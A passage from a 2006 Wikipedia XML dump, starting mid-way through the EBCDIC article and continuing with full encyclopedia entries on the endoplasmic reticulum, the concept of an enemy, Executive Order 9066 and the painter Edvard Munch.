At the time it was devised, EBCDIC made it relatively easy to enter data into a computer with punch cards. Since punch cards are almost never used on mainframes anymore, EBCDIC is used in modern mainframes solely for backwards compatibility. It has no technical advantage over ASCII-based code pages such as the [[ISO-8859]] series or [[Unicode]]. As with single-byte [[extended ASCII]] codepages, most EBCDIC codepages only allow up to 2 languages (English and one other language) to be used in a [[database]] or text file.

Where true support for multilingual text is desired, a system supporting far more characters is needed. Generally this is done with some form of Unicode support. There is an EBCDIC [[Unicode Transformation Format]] called [[UTF-EBCDIC]] proposed by the Unicode consortium, but it is not intended to be used in open interchange environments, and even on EBCDIC based systems, it is almost never used. IBM mainframes have some support for UTF-16, but they do not support UTF-EBCDIC natively.

==Technical details==

EBCDIC code pages and ASCII-based code pages are incompatible with each other. Since computers only understand numbers, these codepages assign a character to these numbers. The same byte values are interpreted as different characters depending on the codepage used. Data stored in EBCDIC require a code page conversion before the text can be viewed on ASCII based machines, like a [[personal computer]].

A single EBCDIC byte occupies eight bits, which are divided in two halves or ''[[nibble]]s''. The first four bits is called the ''zone'' and represent the category of the character, whereas the last four bits is called the ''digit'' and identify the specific character.

There is a nice correspondence between [[hexadecimal]] character codes and punch card codes for EBCDIC. This was an important feature at the time the EBCDIC scheme was created. An IBM card punch could make a 12-row punch card with up to 2 punches per column, the first punch somewhere in the first 3 rows (called the zone) and the second punch somewhere in the last 9 rows (called the number). The zone could thus be considered a value from 0 to 3, and the number a value from 0 to 9, where 0 means no punch, and non-zero means the corresponding row was punched. The initial version of EBCDIC was just (0xf-zone)&lt;&lt;4+number and defined only the lower-left 10x4 part of the table shown below (the zone was apparently reversed so the letters would at least be in alphabetic order).

There are a number of different versions of EBCDIC, customized for different countries. Some East Asian countries use a double byte extension of EBCDIC to allow display of Chinese, Japanese and Korean scripts for their mainframes. In the double byte extension of EBCDIC, there are shift codes [0x0E,0x0F] to shift between the single byte and double byte modes.

IBM typically names all of its code pages with a number called a ''CCSID'' (Coded Character Set IDentifier). It is important to note that the same CCSID can have different character positions in a codepage. For example, the newline character can be a different byte value in [[z/OS]] [[UNIX System Services]] versus the other EBCDIC based operating systems. This becomes an issue when transferring EBCDIC based text data between machines.

== Codepage layout ==

This is CCSID 500, a variant of EBCDIC. Characters 0x00&amp;ndash;0x3F and 0xFF are [[control character|control]]s, 0x40 is [[space character|space]], 0x41 is [[no-break space]], 0xCA is [[soft hyphen]].

{|
|- align=&quot;center&quot;
|&amp;nbsp;||&amp;nbsp;||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|- align=&quot;center&quot;
|40||&amp;nbsp;||&amp;#32;||&amp;#160;||&amp;#226;||&amp;#228;||&amp;#224;||&amp;#225;||&amp;#227;||&amp;#229;||&amp;#231;||&amp;#241;||&amp;#91;||&amp;#46;||&amp;#60;||&amp;#40;||&amp;#43;||&amp;#33;
|- align=&quot;center&quot;
|50||&amp;nbsp;||&amp;#38;||&amp;#233;||&amp;#234;||&amp;#235;||&amp;#232;||&amp;#237;||&amp;#238;||&amp;#239;||&amp;#236;||&amp;#223;||&amp;#93;||&amp;#36;||&amp;#42;||&amp;#41;||&amp;#59;||&amp;#94;
|- align=&quot;center&quot;
|60||&amp;nbsp;||&amp;#45;||&amp;#47;||&amp;#194;||&amp;#196;||&amp;#192;||&amp;#193;||&amp;#195;||&amp;#197;||&amp;#199;||&amp;#209;||&amp;#166;||&amp;#44;||&amp;#37;||&amp;#95;||&amp;#62;||&amp;#63;
|- align=&quot;center&quot;
|70||&amp;nbsp;||&amp;#248;||&amp;#201;||&amp;#202;||&amp;#203;||&amp;#200;||&amp;#205;||&amp;#206;||&amp;#207;||&amp;#204;||&amp;#96;||&amp;#58;||&amp;#35;||&amp;#64;||&amp;#39;||&amp;#61;||&amp;#34;
|- align=&quot;center&quot;
|80||&amp;nbsp;||&amp;#216;||&amp;#97;||&amp;#98;||&amp;#99;||&amp;#100;||&amp;#101;||&amp;#102;||&amp;#103;||&amp;#104;||&amp;#105;||&amp;#171;||&amp;#187;||&amp;#240;||&amp;#253;||&amp;#254;||&amp;#177;
|- align=&quot;center&quot;
|90||&amp;nbsp;||&amp;#176;||&amp;#106;||&amp;#107;||&amp;#108;||&amp;#109;||&amp;#110;||&amp;#111;||&amp;#112;||&amp;#113;||&amp;#114;||&amp;#170;||&amp;#186;||&amp;#230;||&amp;#184;||&amp;#198;||&amp;#164;
|- align=&quot;center&quot;
|A0||&amp;nbsp;||&amp;#181;||&amp;#126;||&amp;#115;||&amp;#116;||&amp;#117;||&amp;#118;||&amp;#119;||&amp;#120;||&amp;#121;||&amp;#122;||&amp;#161;||&amp;#191;||&amp;#208;||&amp;#221;||&amp;#222;||&amp;#174;
|- align=&quot;center&quot;
|B0||&amp;nbsp;||&amp;#162;||&amp;#163;||&amp;#165;||&amp;#183;||&amp;#169;||&amp;#167;||&amp;#182;||&amp;#188;||&amp;#189;||&amp;#190;||&amp;#172;||&amp;#124;||&amp;#175;||&amp;#168;||&amp;#180;||&amp;#215;
|- align=&quot;center&quot;
|C0||&amp;nbsp;||&amp;#123;||&amp;#65;||&amp;#66;||&amp;#67;||&amp;#68;||&amp;#69;||&amp;#70;||&amp;#71;||&amp;#72;||&amp;#73;||&amp;#173;||&amp;#244;||&amp;#246;||&amp;#242;||&amp;#243;||&amp;#245;
|- align=&quot;center&quot;
|D0||&amp;nbsp;||&amp;#125;||&amp;#74;||&amp;#75;||&amp;#76;||&amp;#77;||&amp;#78;||&amp;#79;||&amp;#80;||&amp;#81;||&amp;#82;||&amp;#185;||&amp;#251;||&amp;#252;||&amp;#249;||&amp;#250;||&amp;#255;
|- align=&quot;center&quot;
|E0||&amp;nbsp;||&amp;#92;||&amp;#247;||&amp;#83;||&amp;#84;||&amp;#85;||&amp;#86;||&amp;#87;||&amp;#88;||&amp;#89;||&amp;#90;||&amp;#178;||&amp;#212;||&amp;#214;||&amp;#210;||&amp;#211;||&amp;#213;
|- align=&quot;center&quot;
|F0||&amp;nbsp;||&amp;#48;||&amp;#49;||&amp;#50;||&amp;#51;||&amp;#52;||&amp;#53;||&amp;#54;||&amp;#55;||&amp;#56;||&amp;#57;||&amp;#179;||&amp;#219;||&amp;#220;||&amp;#217;||&amp;#218;||&amp;nbsp;
|}


== See also ==
* [[EBCDIC 8859|EBCDIC-codepages with Latin-1-charset]]
* [[EBCDIC 037|codepage 037 (English, Portuguese)]]
* [[EBCDIC 285|codepage 285 (Ireland, United Kingdom)]]

==External links==
&lt;!-- {{wikisource}} --&gt;

* [http://publib.boulder.ibm.com/cgi-bin/bookmgr/BOOKS/QB3AQ501/F.0 F.0 Appendix F. Code Pages] from [http://publib.boulder.ibm.com/cgi-bin/bookmgr/BOOKS/QB3AQ501/CCONTENTS AS/400 International Application Development V4R2]
* [http://www.ibm.com/software/globalization/icu/demo/converters ICU Converter Explorer] Contains more information about EBCDIC, including DBCS EBCDIC (Double Byte Character Set EBCDIC)
* [http://icu.sourceforge.net/charts/charset/ ICU Charset Mapping Tables] Contains Unicode mapping tables for EBCDIC and many other character sets
* [http://www.legacyj.com/cobol/ebcdic.html LegacyJ- EBCDIC Table]
* [http://www.geocities.com/mikes_javascript/hex_table_ascii.html Computer Character Set Table]
* [http://www.unicode.org/reports/tr16/#Table%201 Unicode Technical Report #16: UTF-EBCDIC]
* [http://dp.comco-inc.com/comco_ebcdic/ EBCDIC-to-ASCII Test Tool] Simple on-line tool outputs ASCII from EBCDIC input. 2000 character limit.
* [http://home.arcor.de/wzwz.de/wiki/ebcdic/cc_en.htm EBCDIC-codepages with Latin-1-charset (JavaScript)]
* [http://home.arcor.de/wzwz.de/wiki/ebcdic/aa70_all_pages.zip ZIPped version]


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  <page>
    <title>Endoplasmic reticulum</title>
    <id>9775</id>
    <revision>
      <id>41382599</id>
      <timestamp>2006-02-26T23:46:06Z</timestamp>
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      <text xml:space="preserve">The '''endoplasmic reticulum''' or '''ER''' (endoplasmic means &quot;within the [[cytoplasm]],&quot; reticulum means &quot;little net&quot;) is an [[organelle]] found in all [[eukaryote|eukaryotic cells]]. The ER modifies [[protein]]s, makes [[macromolecule]]s, and transfers substances throughout the cell.
[[prokaryote|Prokaryotic organisms]] do not have membranous organelles and thus do not have an ER. 
The basic structure and composition of the ER is similar to the [[plasma membrane]], although it is actually an extension of the [[nuclear membrane]]. The ER is the site of the [[protein synthesis|translation]], folding, and transport of [[protein]]s that are to become part of the [[cell membrane]] (e.g., [[transmembrane receptor]]s and other [[integral membrane protein]]s) as well as proteins that are to be secreted or &quot;[[exocytosis|exocytosed]]&quot; from the cell (e.g., digestive [[enzyme]]s). 
== Structure ==
[[Image:nucleus_ER_golgi.jpg|thumb|360px|'''Figure 1 :''' Image of [[cell nucleus|nucleus]], endoplasmic reticulum and Golgi apparatus.&lt;br/&gt;
(1) Nucleus.
(2) Nuclear pore.
(3) Rough endoplasmic reticulum (RER).
(4) Smooth endoplasmic reticulum (SER).
(5) Ribosome on the rough ER.
(6) Proteins that are transported.
(7) Transport vesicle.
(8) Golgi apparatus.
(9) Cis face of the Golgi apparatus.
(10) Trans face of the Golgi apparatus.
(11) Cisternae of the Golgi apparatus.]]

The ER consists of an extensive membrane network of tubes and [[cisterna]]e (sac-like structures). The membrane encloses a space, the cisternal space (or internal lumen) from the [[cytosol]]. This space is acting as a gateway. Parts of the ER membrane are continuous with the outer membrane of the [[nuclear envelope]], and the cisternal space of the ER is continuous with the space between the two layers of the nuclear envelope (the intermembrane space). 
Parts of the ER are covered with [[ribosome]]s (which assemble amino acids into proteins based on instructions from the nucleus). Their rough appearance under electron microscopy led to their being called rough ER (RER), other parts are free of ribosomes and are called smooth ER (SER). The ribosomes on the surface of the rough ER insert the freshly produced proteins directly into the ER, which processes them and then passes them on to the [[Golgi apparatus]] (Fig. 1).
The rough and smooth ER differ in both appearance and function. 

=== Rough ER ===
The rough ER (also known as granular ER or GER) manufactures and transports proteins destined for membranes and secretion.  It is called &quot;rough&quot; because [[ribosomes]] present on the [[cytosol]]ic side of the membrane give it a rough appearance.

Minutes after proteins are synthesized, most of them leave the ER and travel to the [[Golgi apparatus]] in [[vesicle (biology)|vesicle]]s. The rough ER also modifies, folds, and controls the shape and quality of proteins.

=== Smooth ER ===
The smooth ER (also known as agranular ER or AER) has functions in several metabolic processes. It takes part in the synthesis of various [[lipid]]s (e.g., for building membranes such as [[phospholipid]]s), [[fatty acid]]s and [[steroid]]s (e.g., [[hormone]]s), and also plays an important role in [[carbohydrate metabolism]], detoxification of the cell (enzymes in the smooth ER detoxify chemicals), and [[calcium]] storage. It is well developed in cells that produce steroid hormones and in liver cells. It also is a large transporter of nutrient found in each cell.

=== Sarcoplasmic Reticulum ===
The sarcoplasmic reticulum is present in [[muscle]] cells and is specially adapted for calcium ion storage and release. This process is mediated by voltage gated calcium channels, and the calcium ATPase that pumps calcium ions into the SR.

In [[striated muscle]] it is specially adapted to surround the [[myofibril]]s, forming triads with invaginations of the [[plasma membrane]] called [[T-tubule]]s.

==Functions==

The endoplasmic reticulum serves many general functions, including the facilitation of protein folding and the transport of proteins.
Correct folding of newly-made proteins is made possible by several ER proteins including: [[PDI]], [[Hsc70 family]], [[calnexin]], [[calreticulin]], and the [[peptidylpropyl isomerase family]].
Only properly-folded proteins are transported from the RER to the [[Golgi complex]].

===Transport of proteins===

Secretory proteins are moved across the ER membrane.  Proteins that are transported by the ER and from there throughout the cell are marked with an address tag called a [[protein targeting|signal sequence]]. The N-terminus (one end) of a [[polypeptide]] chain (e.g., a protein) contains a few [[amino acid]]s that work as an address tag, which are removed when the polypeptide reaches its destination. Proteins that are destined for places outside the ER are packed into transport [[vesicle (biology)|vesicle]]s and moved along the [[cytoskeleton]] toward their destination.
The ER is also part of a protein sorting pathway. It is, in essence, the transportation system of the eukaryotic cell.

===Other functions===
*'''Insertion of proteins into the ER membrane''': [[Integral protein]]s must be inserted into the ER membrane after they are synthesized. Insertion into the ER membrane requires the correct [[topogenic sequence]]s.
*'''Glycosylation''': [[Glycosylation]] involves the attachment of [[oligosaccharide]]s.
*'''Disulfide bond formation and rearrangement''': Disulfide bonds stabilize the tertiary and quaternary structure of many proteins.

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  <page>
    <title>Enemy</title>
    <id>9776</id>
    <revision>
      <id>37621751</id>
      <timestamp>2006-02-01T03:03:37Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <comment>categ</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}

An '''enemy''' or '''foe''' is a [[relativism|relativist]] term for an entity that is seen as forcefully adverse or threatening. The term is usually used within the greater context of [[war]], to denote an opposing group and the individuals within as threats to one's own national, ethic, or political group. To ''individuals'' within the threatened group, the &quot;enemy&quot; concept is an amorphous personification of both a threat to one's collective social group, as well as a personal threat to oneself. The term &quot;enemy&quot; serves the social function of designating a particular entity as a threat, and the &quot;most feared enemy&quot; status reserved for those who pose the greatest [[mortal]] threat. 

The general ideological mechanism by which particular threats are determined is called [[marginalization]]. Mechanisms which assert a unilateral amnesty for particular individuals and groups as being &quot;enemies&quot; is [[protectionism]]. The characterization of an individual or group as an enemy is called [[demonization]]. The propagation of demonization is called [[propaganda]]. 

An &quot;enemy&quot; may also be conceptual; used to describe impersonal phenomena such [[disease]], and a host of other things. Throughout [[religion|religious]] [[theology]], &quot;the Enemy&quot; is typically reserved to represent the human tendency to do [[evil]], often personified as a malicious [[deity]], such as the [[devil]] or a [[demon]].

== Terms ==
&quot;Enemy&quot; is a strong word, evoking associations of [[hate]], [[violence]], [[battle]] and [[war]]. The opposite of an enemy is a [[friend]] or [[ally]]. The state of being or having an enemy is '''enmity'''. Because the term &quot;the enemy&quot; is a bit bellicose and [[militaristic]] to use in polite society, informal substitutes are more often used. Often the substituted terms become [[pejorative|pejoratives]] in the context that they are used. In any case, the designation of an &quot;enemy&quot; exists solely to denote the status of a particular group of people as a threat, and to propagate this designation within the local context. Substituted terms for an enemy often go further to meaningfully identify a known group as an enemy, and to pejoratively frame that identification.

&quot;The enemy,&quot; as the object of social anger or repulsion, has throughout history been used as the prototypical [[propaganda]] tool to focus the fear and anxiety within a society toward a particular target. The target is often ''general,'' as with a [[ethnic group]] or [[race]] of people, or it can also be a conceptual target, as with an ideology which characterises a particular group. In some cases the concept of the enemy have morphed; whereas once ''racial and ethnic'' claims to support a call to [[war]] may later have changed to ideological and conceptual based claims.

In the [[United States]], the current &quot;[[War on Terrorism]]&quot; is widely understood to be the replacement for the [[Cold War]] against &quot;[[Communism]].&quot; Thus the enemy term &quot;communist&quot; has largely given way to the newer &quot;terrorist,&quot; and the threats of ''[[nuclear war|nuclear annihilation]]'' and &quot;[[communist expansion]]&quot; have given way (within political parlance) to &quot;acts of [[terrorism]]&quot; and [[religious|religious]] (almost always ''[[Islamic]]'') [[fundamentalism]]. 

During the [[Cold War]], the terms &quot;Communists&quot; or &quot;Reds&quot; were broadly understood in American society to mean &quot;the enemy,&quot; and the meaning of the two terms could extremely pejorative, depending on the political context, mood, or state of fear and agitation within the society at the time.

=== Theory ===
The concept of the enemy is well covered in the field of [[Peace studies]], which is available as a major at many major universities (including a somewhat well-known program of study at American University in Washington, D.C.).

In Peace studies, enemies are those entities who are perceived as frustrating or preventing achievement of a goal.  The enemy may not even know they are being regarded as such, since the concept is one-sided.  

Thus, in order to achieve peace, one must eliminate the enemy.  This can be achieved by either by:
* changing one's perception of an entity as enemy, or
* by achieving the goal the enemy is frustrating.

Personal conflicts are frequently either unexamined (one's goals are not well defined) or examined only from one point of view.  This means it is often possible to resolve conflict (to 'eliminate' the enemy) by redefining goals such that the frustration (not the person) is either eliminated, obvious, negotiated away, or decided upon.  

'''Quotes:'''

:''The enemy of my enemy is my friend.'' -[[Arab]] [[proverb]]


[[Category:International relations]]
[[Category:Interpersonal relationships]]

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  </page>
  <page>
    <title>Executive Order 9066</title>
    <id>9778</id>
    <revision>
      <id>40363243</id>
      <timestamp>2006-02-20T01:49:05Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:instructions to japanese.png|right|thumb|250px|Exclusion order posted at First and Front Streets in San Francisco, California, directing removal of persons of Japanese ancestry.]]
'''United States Executive Order 9066''' was a presidential [[Executive Order|executive order]] issued during [[World War II]] by [[President of the United States|U.S. President]] [[Franklin D. Roosevelt]] on [[February 19]], [[1942]], using his authority as [[Commander-in-Chief]] to exercise war powers.

==World War II internment==
This order authorized [[United States armed forces|U.S. armed forces]] commanders to declare areas of the [[United States]] as military areas &quot;from which any or all persons may be excluded.&quot; It was eventually applied to one-third of the land area of the U.S. (mostly in the [[Western United States|West]]) and was used against those with &quot;Foreign Enemy Ancestry.&quot;

The order led to the [[Japanese American internment]], in which 110,000 [[Japanese people|ethnic Japanese]] people were held in [[internment camps]] for the duration of the war. Of the Japanese interned, 62 percent were [[Nisei]] (American-born, second-generation Japanese) and the rest were [[Issei]] (Japanese immigrants and resident aliens). Losses incurred by those affected during this time were estimated in the billions of dollars.

The [[United States Secretary of War|Secretary of War]] (then [[Henry L. Stimson]]) was to assist those residents of such an area who were excluded with [[transport]], [[food]], [[shelter]], and other accommodations. 

While [[Japanese American]]s were by far the most widely-affected, some [[Italian American]]s and [[German American]]s were also subjected to similar restrictions, including internment. [http://www.segreta.org/], [http://www.italians-world.org/altreitalie/22_intervista2.htm], [http://hcom.csumb.edu/segreta/internment.html]
[http://www.tsha.utexas.edu/handbook/online/articles/WW/quwby.html]

==Opposition==
It is notable that one of the few voices in Washington opposing internment was FBI Director [[J. Edgar Hoover]].  By the time of WWII, after nearly a decade of Democrat control of Washington under President [[Franklin D. Roosevelt]], Hoover was one of the few [[Republican Party (United States)|Republicans]] left with any power.  His opposition to internment is ironic, considering how some labeled his career as one in opposition to civil liberties.

==Post-World War II==
Executive Order 9066 was finally rescinded by [[Gerald Ford]] on [[April 19]], [[1976]]. In [[1980]], [[Jimmy Carter]] signed legislation to create the [[Commission on Wartime Relocation and Internment of Civilians]] (CWRIC). The CWRIC was appointed to conduct an official governmental study of Executive Order 9066, related wartime orders and their impact on Japanese Americans in the West and [[Alaska Natives]] in the [[Pribilof Islands]]. 

In [[1983]], the CWRIC issued its findings in ''Personal Justice Denied'', concluding that the incarceration of Japanese Americans had not been justified by military necessity. Rather, the report determined that the decision to incarcerate was based on &quot;race prejudice, war hysteria, and a failure of political leadership.&quot; Lastly, the Commission recommended legislative remedies consisting of an official [[Federal Government of the United States|Government]] apology; redress payments of $20,000 to each of the survivors; and a public education fund to help ensure that this would not happen again.

On [[August 10]], [[1988]], the [[Civil Liberties Act of 1988]], based on the CWRIC recommendations, was signed into law by [[Ronald Reagan]]. On [[November 21]], [[1989]], [[George H.W. Bush]] signed an appropriation bill authorizing payments to be paid out between [[1990]] and [[1998]]. In 1990, surviving internees began to receive individual [[reparations|redress payments]] and a letter of apology.

==See also==
{{wikisource}}
* [[War Relocation Authority]]
*''[[Korematsu v. United States]]''
*''[[Hirabayashi v. United States]]''
*''[[Ex parte Endo]]''

==External links==
* [http://www.ourdocuments.gov/doc.php?flash=false&amp;doc=74&amp;page=transcript Text of Executive Order No. 9066]
* [http://www.sfmuseum.org/hist9/evacorder.html Evacuation poster for San Francisco] April 1
* [http://ipr.ues.gseis.ucla.edu/images/Evacuation_Poster.pdf Evacuation poster for Los Angeles] May 3

[[Category:Legal history of the United States]]
[[Category:United States executive orders|9066]]
[[Category:1942 in law]]</text>
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  <page>
    <title>Edvard Munch</title>
    <id>9779</id>
    <revision>
      <id>42092178</id>
      <timestamp>2006-03-03T19:52:22Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/149.76.152.124|149.76.152.124]] ([[User talk:149.76.152.124|talk]]) to last version by Sebesta</comment>
      <text xml:space="preserve">[[image:Edvard_Munch.jpg|thumb|Self Portrait with Skeleton Arm, [[1895]]]]
'''Edvard Munch''' ([[December 12]], [[1863]] &amp;ndash; [[January 23]], [[1944]]) was a [[Norway|Norwegian]] [[Expressionism|expressionist]] painter and printmaker. His intense, evocative treatment of anguish greatly influenced development of German expressionism in the early [[20th century]]. 

''[[The Scream]]'' ([[1893]]; originally called ''Despair''), Munch's best-known painting, is regarded as an icon of existential anguish. As with many of his works, he painted several versions of it. ''The Scream'' is one of the pieces in a series titled ''The Frieze of Life'', in which Munch explored the themes of life, love, fear, death and melancholy. It was stolen from the ''Munch-museum'' in [[Oslo]], Norway, on [[August 22]], [[2004]].  There have been unsubstantiated rumors that the painting was destroyed by the thieves.

''The Frieze of Life'' themes recur throughout Munch's work, in paintings such as ''The Sick Child'' ([[1886]], portrait of his deceased sister Sophie), [[Media:Munch vampire.jpg|''Vampire'']] ([[1893]]&amp;ndash;[[1894|94]]), [[Media:Munch Ashes.jpg|''Ashes'']] ([[1894]]), and ''The Bridge''. The latter shows limp figures with featureless or hidden faces, over which loom the threatening shapes of heavy trees and brooding houses. Munch portrayed women either as frail, innocent sufferers or as lurid, life-devouring vampires. Munch analysts say this reflects his sexual anxieties.

==Biography==
[[Image:The Scream.jpg|thumb|250px|left|''The Scream''. [[1893]]. Oil, tempera and pastel on cardboard. [[National Gallery, Oslo|Nasjonalgalleriet]].]]
Born on [[December 12]]th, [[1863]], [[Løten]], [[Norway]], Munch grew up in Christiania (now [[Oslo]]). He was related to painter [[Jacob Munch]] ([[1776]] &amp;ndash; [[1839]]) and historian [[Peter Andreas Munch]] ([[1810]] &amp;ndash; [[1863]]). After the death of his mother, Laura Cathrine Bjølstad, of [[tuberculosis]] in [[1868]], Munch was raised by his father, Christian Munch, until [[1889]] when his father died. Christian Munch instilled in his children a deep-rooted fear of hell by repeatedly telling them that if they sinned, in any way, they would be doomed to hell without chance of pardon. While Munch was still young, his mother, a brother and Munch's favourite sister Sophie (in [[1877]]) died. A younger sister was diagnosed with [[mental illness]] at an early age. Munch was also often ill. Of the five siblings only  Andreas married, only to die a few months after the wedding. This may explain the bleakness and pessimism of much of Munch's work. He would later say, &quot;Sickness, insanity and death were the angels that surrounded my cradle and they have followed me throughout my life.&quot; A number of modern sources have described Munch's illness as probably being [[bipolar disorder]].

In [[1879]], Munch enrolled in a technical college to study engineering, but frequent illnesses interrupted his studies. In [[1880]], he left the college to become a painter. In [[1881]], he enrolled at the Royal School of Art and Design of Kristiania. His teachers were sculptor [[Julius Middelthun]] and [[Naturalism (art)|naturalistic]] painter [[Christian Krohg]].

Munch traveled to Paris in [[1885]], and his work began to show the influence of French painters &amp;mdash; first of the [[impressionism|impressionists]], and then of the [[postimpressionism|postimpressionists]] and of [[art nouveau]] [[design]]. While stylistically influenced by the [[postimpressionism|postimpressionists]], Munch's subject matter is [[symbolism (arts)|symbolist]] in content, depicting a state of mind rather than an external reality.

Munch maintained that the [[impressionism]] idiom did not suit his art. Interested in portraying not a random slice of reality, but situations brimming with emotional content and expressive energy, Munch carefully calculated his compositions to create a tense atmosphere.

During his career, Munch changed his idiom many times. In the [[1880s]], Munch's idiom was [[Naturalism (art)|naturalistic]], such as ''Portrait of Hans Jæger'', and partly [[Impressionism|impressionistic]] (''Rue Lafayette''). In [[1892]], Munch formulated his characteristic, and original, [[synthetism|Synthetist]] idiom as seen in ''Melancholy'' in which colour is the symbol-laden element (''[[The Scream]]''). 

[[Image:Munch deathSickroom.jpg|thumb|300px|''Death in the Sickroom.'' c. [[1895]]. Edvard Munch. Oil on canvas. 59 x 66 in. [[National Gallery, Oslo|Nasjonalgalleriet]] at Oslo.]]
During the [[1890s]], Munch favoured a shallow pictorial space, and used it in his frequently frontal figures. Since he chose the poses to produce the most convincing images of states of mind and psychological conditions (''Ashes''), the figures lend to the paintings' a monumental, static quality. Munch's figures appear to play roles on a theatre stage (''Death in the Sick-Room''), even perhaps a pantomime of fixed postures signifying the emotions. Because he gave his characters only one psychological dimension, as in ''[[The Scream]]'', Munch's men and women do not seem realistic.

In [[1892]], the [[Union of Berlin Artists]] invited Munch to exhibit at its November exhibition. His paintings invoked bitter controversy at the show, and after one week the exhibition closed. In Berlin, Munch involved himself in an international circle of writers, artists and critics, including the Norwegian playwright [[Henrik Ibsen]] (Munch designed the sets for several Ibsen's plays), and the Swedish dramatist [[August Strindberg]]. 

Between [[1892]] and [[1908]], Munch divided his time between Paris and Berlin, where he became known for his etchings, his lithographs, and his woodcuts. While in Berlin at the turn of the century, Munch experimented with a variety of new media ([[photography]], [[lithography]], and [[woodcut]]s), in many instances re-working his older imagery.

In the autumn of [[1908]], Munch's anxiety became acute and he entered the clinic of Dr. Daniel Jacobsen. The [[therapy]] Munch received in hospital changed his personality, and after returning to Norway in [[1909]], he showed more interest in nature subjects, and his work became more colourful and less pessimistic.

In the [[1930s]] and [[1940s]], German [[Nazi]]s labeled his work &quot;[[degenerate art]]&quot;, and removed his work from German museums. This deeply hurt the [[Anti-Fascism|antifascist]] Munch, who had come to feel Germany was his second homeland.

Munch died in Ekely, near [[Oslo]], on [[January 23]], [[1944]], about a month after his 80th birthday. He left 1,000 paintings, 15,400 prints, 4,500 drawings and watercolors, and six sculptures to the city of Oslo, which built the [[Munch Museum]] at [[Tøyen]] in his honor. The museum houses the broadest collection of his works. His works are also represented in major museums and galleries in Norway and abroad. 

Munch appears on the Norwegian 1,000 [[Norwegian_Krone|Kroner]] note along with pictures inspired by his artwork. [http://www.norges-bank.no/english/notes_and_coins/1000kr.html]

:&quot;From my rotting body, flowers shall grow and I am in them and that is [[eternity]].&quot;
:&amp;mdash;Edvard Munch

==''Frieze of Life &amp;mdash; A Poem about Life, Love and Death''==
[[Image:Munch DanceOfLife.jpg|thumb|left|300px|''The Dance of Life''. [[1899]] &amp;ndash; [[1900]]. Edvard Munch. Oil on canvas, 49 1/2 x 75 in. [[National Gallery, Oslo|Nasjonalgalleriet]]]]
In [[December]] [[1893]], [[Unter den Linden]] in Berlin held an exhibition of Munch's work, showing, among other pieces, six paintings entitled ''Study for a Series: Love.'' This began a cycle he later called the ''Frieze of Life &amp;mdash; A Poem about Life, Love and Death.'' ''Frieze of Life'' motifs are steeped in atmosphere such as ''The Storm,'' ''Moonlight'' and ''Starry Night.'' Other motifs illuminate the nocturnal side of love, such as ''Rose and Amelie'' and ''[[Vampire]].'' In ''Death in the Sickroom'' ([[1893]]), he depicts his sister Sophie's death to illustrate the morbid theme. The dramatic focus of the painting, in which he portrays the entire family, is the Munch figure. In [[1894]], he enlarged the spectrum of motifs by adding ''Anxiety'', ''Ashes'', ''[[Madonna (Edvard Munch)|Madonna]]'' and ''Women in Three Stages''. 

Around the turn of the century, Munch worked to finish the ''Frieze''. He painted a number of pictures, several of them in larger format and to some extent featuring the [[Art Nouveau]] aesthetics of the time. He made a wooden frame with carved reliefs for the large painting ''Metabolism'' ([[1898]]), initially called ''Adam and Eve''. This work reveals Munch's preoccupation with the &quot;fall of man&quot; myth in Munch's pessimistic philosophy of love. Motifs such as ''The Empty Cross'' and ''Golgota'' (both c. [[1900]]) reflect a metaphysical orientation to the times, and also echo Munch's pietistic upbringing. The entire ''Frieze'' showed for the first time at the [[Vienna Secession|secessionist]] exhibition in [[Berlin]] in [[1902]].

==Trivia==

* After the [[Cultural Revolution]] in [[China]] ended, Munch was the first Western artist to have his pictures exhibited at the National Gallery in [[Beijing]].

* Some art historians believe that the red sky in the background of ''[[The Scream]]'' reflects the unusually intense sunsets seen throughout the world, following the [[1883]] eruption of the [[Indonesia]]n [[volcano]] [[Krakatoa]].

==Further reading==
*Reinhold Heller, ''Munch. His life and work'' (London: Murray, [[1984]]). 
*Gustav Schiefler, ''Verzeichnis des graphischen Werks Edvard Munchs bis [[1906]]'' (Berlin: Bruno Cassirer, [[1907]]).
*Gustav Schiefler, ''Edvard Munch. Das graphische Werk [[1906]] &amp;ndash; [[1926]]'' (Berlin: Euphorion, [[1928]]).his painting

==References==
*Fineman, Mia (Nov. 22, 2005). [http://www.slate.com/id/2130897/ &quot;Existential Superstar&quot;]. ''[[Slate (magazine)]]''.

==See also==
* [[Edvard Munch (film)]]

== External links ==
* [http://www.odin.dep.no/odin/engelsk/norway/history/032005-990477/index-dok000-b-n-a.html Biography from the Norwegian Ministry of Foreign Affairs]
* [http://www.museumsnett.no/munchmuseet/ The Munch Museum]
* [http://www.gallerimunch.no Gallery Munch - Løten]
* [http://www.artcyclopedia.com/artists/munch_edvard.html Munch at artcyclopedia]
* [http://www.munch-raisonne.com Catalogue raisonné of Edvard Munch's paintings.]
* [http://www.edvardmunch.info/ Edvard Munch]
* [http://www.interpol.int/public/News/woa20040823.asp [[Interpol]]'s page about the stolen works of art]
Munch and bipolar disorder:
* Rothenberg A. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=11433879&amp;dopt=Citation Bipolar illness, creativity, and treatment.] ''Psychiatr Q.'' 2001 Summer;72(2):131-47.
* [http://mitpress2.mit.edu/e-journals/Leonardo/reviews/jul2000/vi_MUNCH_behrns.html Edvard Munch in Germany]

{{Commons|Category:Edvard Munch}}

[[Category:1863 births|Munch, Edvard]]
[[Category:1944 deaths|Munch, Edvard]]
[[Category:Norwegian painters|Munch, Edvard]]
[[Category:Symbolist painters|Munch, Edvard]]
[[Category:Art Nouveau|Munch, Edvard]]
[[Category:Expressionism|Munch, Edvard]]
[[Category:Order of St. Olav|Munch, Edvard]]

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[[he:אדוורד מונק]]
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[[ja:エドヴァルド・ムンク]]
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    </revision>
  </page>
  <page>
    <title>Extended Industry Standard Architecture</title>
    <id>9781</id>
    <revision>
      <id>40363245</id>
      <timestamp>2006-02-20T01:49:06Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
